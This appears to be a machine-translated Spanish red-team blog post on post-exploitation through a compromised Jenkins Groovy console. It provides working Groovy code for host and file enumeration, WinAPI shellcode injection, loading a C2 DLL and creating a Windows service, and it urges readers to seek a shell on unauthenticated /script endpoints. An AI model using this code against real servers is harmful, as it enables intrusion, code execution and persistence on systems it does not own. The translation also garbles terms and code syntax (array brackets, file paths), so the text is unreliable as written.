En un compromiso nuevo con el equipo rojo, pude comprometer a Jenkins. filial usufructuario recuperando los componentes necesarios y descifrando credenciales.xml. A partir de aquí, quería investigar Groovy, ya que es poco que nunca he usado verdaderamente; este blog cubre un montón de tareas posteriores a la explotación en Groovy.
1.1 Instalar
En mi caso, Jenkins estaba operando en Windows, lo que me llevó a algunas madrigueras interesantes que veremos pronto. Pero, a primera traza, se estaba ejecutando como la cuenta de la máquina. Posteriormente de instalar Jenkins, se hizo evidente por qué sucedía esto.

El proceso de instalación es sencillo y está documentado en jenkins.io.A
1.2 Post-explotación
Groovy tiene mucho espacio para trabajar y está diseñado para todo tipo de automatización. Echemos un vistazo a algunos ejemplos de enumeración de hosts.
1.2.1 Nombre de usufructuario y nombre de host
Esta información es fácilmente obtenida por el java.net.InetDirecciónclase y propiedad del sistema nombre de usufructuario.
import java.net.InetAddress
def hostname = InetAddress.localHost.hostName
println "Host: $hostname"
def username = System.getProperty("user.name")
println "User: $username"

1.2.2 Directorios
Inventariar directorios es igual de simple. Usando la clase Archivo, podemos simplemente recorrer cada objeto y confirmar si es un archivo o un directorio.
def directoryPath = "c:"
def directory = new File(directoryPath)
if (directory.exists() && directory.isDirectory()) {
directory.eachFile { file ->
println "${file.name.padRight(50)} ${file.isDirectory() ? 'Directory' : 'File'} ${file.length()} bytes"
}
} else {
println "The specified directory does not exist or is not accessible."
}

1.2.3 Ojear archivos
Otra sencilla es observar archivos: utilizando la misma clase Archivo que antiguamente, podemos obtener el texto e imprimirlo en la pantalla.
def content = new File("c:readme.txt").getText("UTF-8")
println content

1.2.4 Varios y etcétera
Las posibilidades son infinitas. Durante esta sesión, pude implementar las siguientes funciones para avanzar en la operación:
- Exfiltrar/cargar datos a través de HTTP
- Enumerar versiones, propiedades, nodos, ejecutores, etc. de Jenkins.
- Relación de credenciales almacenadas
- Iniciar y detener procesos
- Comandos del sistema eficaz
1.3 Acercamiento nativo de Java (JNA)
Aquí es donde se vuelve divertido. Entonces, hasta ahora, solo quería cubrir algunas cosas que quizás quieras hacer al aterrizar en Jenkins para determinar mejor dónde te encuentras. Investiguemos ahora cómo utilizar WinAPI. En este ejemplo vamos a implementar Procesos de enumeración para crear un PD-comando de estilo. Esto es para que podamos tener una idea de cómo funciona antiguamente de investigar la ejecución del código.
Revisaremos cada fragmento de código que escribí para tener una idea de lo que está sucediendo.
1.3.1 Importaciones
De guisa similar a como comienzan la mayoría de los idiomas, comenzamos con algunas importaciones, que hacen exactamente eso: importar funcionalidad.
import com.sun.jna.Native
import com.sun.jna.Pointer
import com.sun.jna.ptr.IntByReference
import com.sun.jna.Library
Estas importaciones permiten la interacción con las API nativas de Windows a través de JNA:
- Nativo: proporciona formas de cargar y asignar métodos Java a bibliotecas nativas como Psapi y Kernel32
- Puntero: representa punteros de memoria nativos; utilizado para identificadores de procesos y papeleo de memoria
- IntPorReferencia: permite advenir y modificar números enteros por relato en código nativo, por ejemplo, resultados de enumeración de procesos
- Biblioteca: la interfaz almohadilla que las interfaces Java deben extender para asignar métodos nativos
Esto es lo que nos brinda la interoperabilidad con el sistema nativo: https://java-native-access.github.io/jna/4.2.1/overview-summary.html
1.3.2Â Â Â Â Definición de una interfaz
Una vez importada la funcionalidad, lo ulterior es especificar una interfaz que imite pinvoke para dotnet. Definimos una interfaz que amplía lo importado. Biblioteca clase y especificar una INSTANCIA, que será el objeto devuelto por Carga nativa. Como veremos más delante, Carga nativa así es como se cargan las DLL, similar a requerir con nodoJS.
interface Psapi extends Library {
Psapi INSTANCE = Native.load("Psapi", Psapi.class)
boolean EnumProcesses(int() lpidProcess, int cb, IntByReference lpcbNeeded)
int GetModuleFileNameExW(Pointer hProcess, Pointer hModule, char() lpFilename, int nSize)
}
- Interfaz Psapi: representa el Escribir biblioteca de la API de Windows; Se utiliza para resolver y recuperar información del proceso.
- Psapi INSTANCIA: una instancia única de la Escribir interfaz, cargada a través de JNA Carga nativa() método; permite el entrada a las funciones de la biblioteca nativa
Para obtener más información sobre la clase nativa, consulte aquí: https://java-native-access.github.io/jna/4.2.1/com/sun/jna/Native.html
Interiormente de esta interfaz, definimos dos (2) funciones:
1.3.3Â Â Â Â Llamando a WinAPI
Una vez hecho esto, ahora es harto sencillo utilizar la función. A continuación se muestra un ejemplo de implementación de la método para enumerar procesos mediante Procesos de enumeración:
List<Integer> getProcessIds() {
final int PROCESS_ID_ARRAY_SIZE = 1024
int() processIds = new int(PROCESS_ID_ARRAY_SIZE)
IntByReference pcbNeeded = new IntByReference()
boolean success = Psapi.INSTANCE.EnumProcesses(processIds, processIds.size() * Integer.BYTES, pcbNeeded)
if (!success) {
throw new RuntimeException("Failed to enumerate processes")
}
int count = pcbNeeded.getValue() / Integer.BYTES
return processIds(0..<count).toList()
}
Y luego lo mismo para ObtenerModuleFileNameExW:
String getProcessName(int pid) {
Pointer hProcess = Kernel32.INSTANCE.OpenProcess(0x0400 | 0x0010, false, pid)
if (hProcess == null) {
return "Unknown"
}
try {
char() filename = new char(1024)
int length = Psapi.INSTANCE.GetModuleFileNameExW(hProcess, null, filename, filename.size())
String processName = length > 0 ? new String(filename, 0, length) : "Unknown"
return processName
} finally {
Kernel32.INSTANCE.CloseHandle(hProcess)
}
}
No pondré todo el script de Groovy aquí (estará en el repositorio), pero este es el resultado:

1.4 Ejecución de código
Con JNA cubierto, expandir esto a la ejecución de código es harto sencillo. Implementemos el tipo de inyección más popular:
- Asignación potencial
- Escribir
- Protección potencial
- Crear hilo
- Esperar para un solo objeto
Para aquellos de ustedes que han escrito inyección de código, es posible que tengan una idea de lo que sucederá con la última función…
A continuación se muestra la método central para realizar la inyección.
Pointer lpAddress = Kernel32.INSTANCE.VirtualAlloc(
null,
fileBytes.length,
Constants.MEM_COMMIT | Constants.MEM_RESERVE,
Constants.PAGE_READWRITE
)
if (lpAddress == null) {
throw new RuntimeException("Failed to allocate memory. Error: " + Kernel32.INSTANCE.GetLastError())
}
lpAddress.write(0, fileBytes, 0, fileBytes.length)
IntByReference lpflOldProtect = new IntByReference()
if (!Kernel32.INSTANCE.VirtualProtect(lpAddress, fileBytes.length, Constants.PAGE_EXECUTE_READ, lpflOldProtect)) {
throw new RuntimeException("Failed to change memory protection. Error: " + Kernel32.INSTANCE.GetLastError())
}
IntByReference lpThreadId = new IntByReference()
Pointer hThread = Kernel32.INSTANCE.CreateThread(
null,
0,
lpAddress,
null,
0,
lpThreadId
)
if (hThread == null) {
throw new RuntimeException("Failed to create thread. Error: " + Kernel32.INSTANCE.GetLastError())
}
if (Kernel32.INSTANCE.WaitForSingleObject(hThread, (int)0xFFFFFFFF) == 0xFFFFFFFF) {
throw new RuntimeException("Failed to wait for thread. Error: " + Kernel32.INSTANCE.GetLastError())
}
}
Cuando se ejecuta este código, Jenkins se bloquea. Esto se debe a que estamos esperando a que termine el hilo, lo que lleva una perpetuación. Para solucionarlo, simplemente agregue toda la método en una función separada.
Thread thread = new Thread(){
public void run(){
Go();
}
}
thread.start();
1.4.1 Carga nativa
Otro método para ejecutar código es utilizar la propia función Native.load. Es capaz de cargar archivos .DLL y .SO, por lo que podemos utilizarlo. En el ulterior ejemplo, cargamos una DLL desde el disco y llamamos a una función exportada.
@Grab(group='net.java.dev.jna', module='jna', version='5.12.1')
import com.sun.jna.Native
import com.sun.jna.Library
import com.sun.jna.Pointer
interface CustomLibrary extends Library {
CustomLibrary INSTANCE = Native.load("C:UsersAdministratorDownloadsc2.x64.dll", CustomLibrary.class)
int entrypoint ()
}
try {
int result = CustomLibrary.INSTANCE.entrypoint()
println "CustomFunction result: $result"
} catch (Exception e) {
println "Error: ${e.message}"
}
1.4.2 Servicio
Otro ejemplo que preparé y usé en esta operación fue crear un servicio, ya que se ejecutaba bajo la cuenta de la máquina. Usando WinAPI y JNA, fue harto sencillo armarlo.
Pointer createService(Pointer hSCManager, String serviceName, String displayName, String binaryPath) {
Pointer hService = Advapi32.INSTANCE.CreateServiceA(
hSCManager,
serviceName,
displayName,
(int) Constants.SERVICE_ALL_ACCESS,
Constants.SERVICE_WIN32_OWN_PROCESS,
Constants.SERVICE_DEMAND_START,
Constants.SERVICE_ERROR_NORMAL,
binaryPath,
null,
null,
null,
null,
null
)
if (hService == null) {
throw new RuntimeException("Failed to create service. Error: " + Kernel32.INSTANCE.GetLastError())
}
return hService
}
boolean startService(Pointer hService) {
if (!Advapi32.INSTANCE.StartServiceW(hService, 0, null)) {
throw new RuntimeException("Failed to start service. Error: " + Kernel32.INSTANCE.GetLastError())
}
return true
}
1.5Â Â Â Â Â Â Â Â Â Conclusión
Groovy tiene entrada a muchas funciones, algunas de las cuales pueden ser harto poderosas. La próxima vez que enumere una red y encuentre un punto final /script no autenticado, busque un shell. Los fragmentos de código se pueden encontrar aquí: https://github.com/mez-0/offensive-groovy